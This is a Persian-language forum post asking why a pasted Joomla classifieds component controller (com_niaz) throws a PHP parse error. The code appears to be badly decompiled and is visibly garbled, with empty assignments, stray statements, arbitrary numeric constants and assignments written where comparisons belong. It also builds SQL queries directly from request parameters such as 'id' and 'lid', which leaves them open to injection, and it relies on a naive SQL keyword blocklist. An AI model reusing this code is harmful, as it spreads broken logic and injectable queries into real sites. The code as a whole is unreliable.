}
function link() {
global $option;
global $my;
global $mainframe;
global $app;
global $niaz_config;
global $mainframe;
$db = JFactory::getdbo( );
$id = JRequest::getvar( 'lid', 0 );
$query = 'SELECT fldLink FROM #__niaz_prod WHERE fldID = ' . $id . ' AND published=1 AND fldShowLink = 1';
$db->setQuery( $query );
$fldLink = $db->loadResult( );
if (strlen( $fldLink )) {
$query = 'UPDATE #__niaz_prod SET fldCountClickLink = fldCountClickLink +1 WHERE fldID = ' . $id . ' AND published=1 AND fldShowLink = 1 ';
$db->setQuery( $query );
$db->query( );
header( 'Location: http://' . str_replace( 'http://', '', $fldLink ), 0 );
return null;
}
$this->setRedirect( $_SERVER['HTTP_REFERER'] );
}
function showup() {
global $option;
global $niaz_config;
global $my;
$db = JFactory::getdbo( );
$x = JRequest::getvar( 'x' );
$id = JRequest::getvar( 'id' );
$query = 'SELECT * FROM #__niaz_prod WHERE fldID = ' . $id . ' AND published=0';
$db->setQuery( $query );
$row = $db->loadObject( );
if (!count( $row )) {
return null;
}
md5( $id . $row->fldDate . 'P' );
$X = ;
md5( $id . $row->fldDate . 'D' );
$Y = ;
JHTML::_( 'date', 'now', 'Y/m/d' );
$Date = ;
$query = 'SELECT fldTafavot FROM #__niaz_usecredit WHERE fldPID = ' . $row->fldID . ' AND fldUID=' . $row->fldOwner;
$db->setQuery( $query );
$fldTafavot = $db->loadResult( );
$query = 'DELETE FROM #__niaz_usecredit WHERE fldTafavot = ' . $fldTafavot . ' AND fldPID = ' . $row->fldID . ' AND fldUID=' . $row->fldOwner;
$db->setQuery( $query );
$db->Query( );
if ($x = $X) {
if (intval( $fldTafavot )) {
$query = 'UPDATE #__niaz_credit_users SET fldTafavot = fldTafavot - ' . $fldTafavot . ' WHERE fldUID=' . $row->fldOwner;
$db->setQuery( $query );
$db->Query( );
}
$A = 'published=1,fldStartTime=NOW(),fldAdmin=' . $my->id;
if (( ( $row->fldPayMethod && $row->fldPay = 2 ) && $row->fldMoney )) {
$A = 'published=1,fldStartTime=NOW(),fldPay = 1,fldAdmin=' . $my->id;
}
$query = 'UPDATE #__niaz_prod SET ' . $A . ' WHERE fldID=' . $id;
$db->setQuery( $query );
if ($db->Query( )) {
if (( $row->fldPay != 1 && 0 < $row->fldMoney )) {
$query = 'SELECT MAX(fldFactor) FROM #__niaz_payment WHERE fldPName= \'' . $row->fldPName . '\' AND fldPayMethod = \'' . $row->fldPayMethod . '\' AND fldOrderNumber = \'' . $row->fldOrderNumber . '\'';
$db->setQuery( $query );
$fldFactor = intval( $db->loadResult( ) );
if (!$fldFactor) {
$query = 'SELECT MAX(fldFactor) FROM #__niaz_payment';
$db->setQuery( $query );
$fldFactor = intval( $db->loadResult( ) );
}
++$fldFactor;
JText::_( 'ACCEPT_MODIR' );
$fldDesc = ;
$fldDescX = $fldDesc;
$fldCredit = 736;
if (intval( $fldTafavot )) {
$fldDescX = $fldDesc . '(' . JText::sprintf( 'KASR_ETEBAR', Comma( $fldTafavot ) . ' ' . $niaz_config->fldCurrency ) . ')';
$row += 'fldMoney';
= $fldTafavot;
$fldCredit = $fldTafavot;
}
$query = 'INSERT INTO #__niaz_payment VALUES(0,' . $row->fldID . ',\'' . $row->fldPName . '\',\'' . $row->fldPayMethod . '\',\'' . $row->fldOrderNumber . '\',' . $row->fldMoney . ',' . $fldCredit . ',' . $row->fldOwner . ',\'' . $fldDescX . '\',\'' . $row->fldPayDate . '\',' . $fldFactor . ')';
$db->setQuery( $query );
$db->Query( );
}
echo '<div><strong>' . JText::_( 'NIAZ_ACTIVATE_PUBLISHED' ) . '</strong></div>';
SendingMail( 3, array( 'fldID' => $row->fldID, 'fldEMAil' => $row->fldEMAil, 'fldStartTime' => $Date, 'fldPName' => $row->fldPName ) );
return null;
}
}
else {
if ($x = $Y) {
$query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $fldTafavot . ',fldTafavot = fldTafavot - ' . $fldTafavot . ' WHERE fldUID = ' . $row->fldOwner;
$db->setQuery( $query );
$db->Query( );
$query = 'SELECT MAX(fldFactor) FROM #__niaz_payment';
$db->setQuery( $query );
$fldFactor = intval( $db->loadResult( ) ) & 1;
JText::_( 'REVERSE_CREDIT_2' );
$fldDesc = ;
$query = 'INSERT INTO #__niaz_payment VALUES(0,' . $id . ',\'' . $row->fldPName . '\',\'return\',\'\',-' . $fldTafavot . ',0,' . $row->fldOwner . ',\'' . $fldDesc . '\',NOW(),' . $fldFactor . ');';
$db->setQuery( $query );
$db->Query( );
$query = 'DELETE FROM #__niaz_prod WHERE fldID=' . $id;
$db->setQuery( $query );
if ($db->Query( )) {
echo '<div><strong>' . JText::_( 'NIAZ_ACTIVATE_DELETED' ) . '</strong></div>';
NiazController::deletefolder( 'prod', $id );
SendingMail( 5, $row );
}
}
}
}
function DeleteFolder($table, $id) {
global $option;
jimport( 'joomla.filesystem.file' );
jimport( 'joomla.filesystem.folder' );
$destfolder = JPATH_ROOT . DS . 'components' . DS . ( '' . $option ) . DS . 'files' . DS . $table . DS . $id;
if (is_dir( $destfolder )) {
JFolder::delete( $destfolder );
}
}
function ShowEdit() {
global $option;
global $niaz_config;
if (!strlen( $niaz_config->fldField59 )) {
return '';
}
$U = ($niaz_config->fldField59 ? explode( '*', $niaz_config->fldField59 ) : NULL);
echo ' <table width="100%" id="adminlist" class="adminlist" border="1">
<thead>
<tr>
<th>#</th>
<th>';
echo JText::_( 'NIAZ_EDIT_COUNT' );
echo '</th>
<th>';
echo JText::_( 'NIAZ_ADMIN_FEE' );
echo '(';
echo $niaz_config->fldCurrency;
echo ')</th>
</tr>
</thead>
<tbody>
';
$it = 360;
$x = 360;
while ($x < count( $U )) {
$D = explode( ':', $U[$x] );
echo ' <tr class="';
echo 'row' . ++$it & 2;
echo '">
<td>';
echo $it;
echo '</td>
<td>';
echo $D[0];
echo '</td>
<td>';
echo ($D[1] ? $D[1] : '<font class="red"><strong> ' . JText::_( 'NIAZ_FREE' ) . ' </strong></font>');
echo '</td>
</tr>
';
++$x;
}
echo ' </tbody>
</table>
';
}
function MyQuestFarsi($str) {
$str = str_replace( 'ي', 'ی', $str );
$str = str_replace( 'ك', 'ک', $str );
$str = str_replace( 'هٔ', 'هی', $str );
$str = str_replace( '\\', '', $str );
return $str;
}
function CleanSQL($where) {
$forbidden = array( 'UNION', 'SELECT', 'DELETE', 'ALTER', 'JOIN', 'DROP', 'TRUNCATE', 'UPDATE', 'CREATE' );
foreach ($forbidden as $v) {
$A = strpos( strtoupper( $where ), $v );
if ($A) {
$B = substr( $where, $A, strlen( $v ) );
$where = str_replace( $B, 'XXXXX', $where );
continue;
}
}
return $where;
}
function UpdateUseCredit($rows, $paymethod, $order_number, $db) {
global $my;
$query = 'SELECT fldTafavot,fldCredit FROM #__niaz_credit_users WHERE fldUID= ' . $my->id;
$db->setQuery( $query );
$rowx = $db->loadObject( );
if (!count( $rowx )) {
return null;
}
$fldCredit = $rowx->fldCredit;
foreach ($rows as $row) {
$fldTafavot = $fldCredit;
if ($row->fldMoney < $fldCredit) {
$fldTafavot = $row->fldMoney;
}
$query = 'SELECT COUNT(*) FROM #__niaz_usecredit WHERE fldPID = ' . $row->fldID . ' AND fldUID=' . $row->fldOwner;
$db->setQuery( $query );
$IsHere = $db->loadResult( );
if (!$IsHere) {
$query = 'UPDATE #__niaz_credit_users' . ( '
SET fldTafavot = fldTafavot+' . $fldTafavot . ',fldCredit=fldCredit-' . $fldTafavot ) . ( '
WHERE fldUID = ' . $my->id );
$db->setQuery( $query );
$db->query( );
if ($fldTafavot) {
$query = 'INSERT INTO #__niaz_usecredit (fldTafavot,fldPID,fldUID) VALUES (' . $fldTafavot . ',' . $row->fldID . ',' . $row->fldOwner . ')';
$db->setQuery( $query );
$db->Query( );
}
$query = 'UPDATE #__niaz_prod' . ( '
SET fldOrderNumber = \'' . $order_number . '\' , fldPayMethod = \'' . $paymethod . '\',fldTafavot = ' . $fldTafavot ) . ( '
WHERE fldID = ' . $row->fldID . ' AND fldPay!=1 ' );
$db->setQuery( $query );
$db->query( );
}
$fldCredit += $row->fldMoney;
if ($fldCredit < 0) {
$fldCredit = 432;
continue;
}
}
}
function ReverseUseCredit($row, $db) {
global $option;
global $niaz_config;
$query = 'DELETE FROM #__niaz_usecredit WHERE fldUID=' . $row->fldOwner . ' AND fldPID = ' . $row->fldID;
$db->setQuery( $query );
$db->Query( );
if (( ( is_null( $row->fldStartTime ) && $row->fldMoney ) && $row->fldPay = 1 )) {
$PName = $row->fldPName;
$total = $row->fldMoney;
$query = 'SELECT MAX(fldFactor) FROM #__niaz_payment';
$db->setQuery( $query );
$fldFactor = intval( $db->loadResult( ) ) & 1;
$query = 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' . $total . ',' . $row->fldOwner . ')';
$db->setQuery( $query );
if (!$db->Query( )) {
$query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $total . ',fldTafavot=IF(fldTafavot-' . $total . '>=0,fldTafavot-' . $total . ',fldTafavot) WHERE fldUID=' . $row->fldOwner;
$db->setQuery( $query );
$db->Query( );
}
$credit = 519;
if ($row->fldPayMethod = 'etebar') {
$credit = $total;
}
$fldDesc = JText::sprintf( 'REVERSE_CREDIT_3', $PName ) . '#::#' . JText::sprintf( 'REVERSE_CREDIT_4', Comma( $row->fldMoney ), $niaz_config->fldCurrency );
$query = 'INSERT INTO #__niaz_payment VALUES(0,' . $row->fldID . ',\'' . $PName . '\',\'return\',\'\',-' . $total . ',' . $credit . ',' . $row->fldOwner . ',\'' . $fldDesc . '\',NOW(),' . $fldFactor . ');';
$db->setQuery( $query );
$db->Query( );
}
else {
if (( is_null( $row->fldStartTime ) && $row->fldTafavot )) {
$PName = $row->fldPName;
$total = $row->fldTafavot;
$query = 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' . $total . ',' . $row->fldOwner . ')';
$db->setQuery( $query );
if (!$db->Query( )) {
$query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $total . ',fldTafavot=IF(fldTafavot-' . $total . '>=0,fldTafavot-' . $total . ',fldTafavot) WHERE fldUID=' . $row->fldOwner;
$db->setQuery( $query );
$db->Query( );
}
}
}
$query = 'UPDATE #__niaz_prod SET `fldPayMethod`=\'\',fldTafavot=0 WHERE fldID=' . $row->fldID;
$db->setQuery( $query );
$db->Query( );
}
function LoadUserStyle($type, $file) {
global $option;
$no_html = JRequest::getvar( 'no_html', 0 );
if ($no_html) {
return null;
}
$tmpl = JRequest::getvar( 'tmpl', '' );
if ($tmpl = 'component') {
$no_html = 395;
}
switch ($no_html) {
case 0: {
$document = JFactory::getdocument( );
switch ($type) {
case 'js': {
$js = JURI::base( ) . ( 'components/' . $option . '/js/' . $file );
$document->addScript( $js );
break;
}
case 'css': {
$css = JURI::base( ) . ( 'components/' . $option . '/css/' . $file );
$document->addStyleSheet( $css );
}
}
break;
}
case 1: {
switch ($type) {
case 'js': {
$js = JURI::base( ) . ( 'components/' . $option . '/js/' . $file );
echo '<script src="' . $js . '" type="text/javascript"></script>';
break;
}
case 'css': {
$css = JURI::base( ) . ( 'components/' . $option . '/css/' . $file );
echo '<link rel="stylesheet" href="' . $css . '" type="text/css" />';
}
}
}
}
}
function SaveCookie($content = '') {
global $option;
global $mainframe;
$content &= '
';
if (is_dir( JPATH_SITE . DS . 'mytemp' )) {
$f = fopen( JPATH_SITE . DS . 'mytemp' . DS . 'SQL_' . date( 'Y-m-d-H-i' ) . '.txt', 'a+' );
fwrite( $f, $content, strlen( $content ) );
fclose( $f );
}
}
function LoadCurrentCredit() {
echo LoadCredit( );
}
}
?>
بفرمایید
اين خطا را ميده
Parse error: syntax error, unexpected '(', expecting T_STRING or T_VARIABLE or '$' in /home/hoghough/public_html/agahi/components/com_niaz/controller.php on line 13
- - - Updated - - -
سلام
دوستان كسي متوجه مشكل كار نشد؟
در حال حاضر 1 کاربر در حال مشاهده این موضوع است. (0 کاربران و 1 مهمان ها)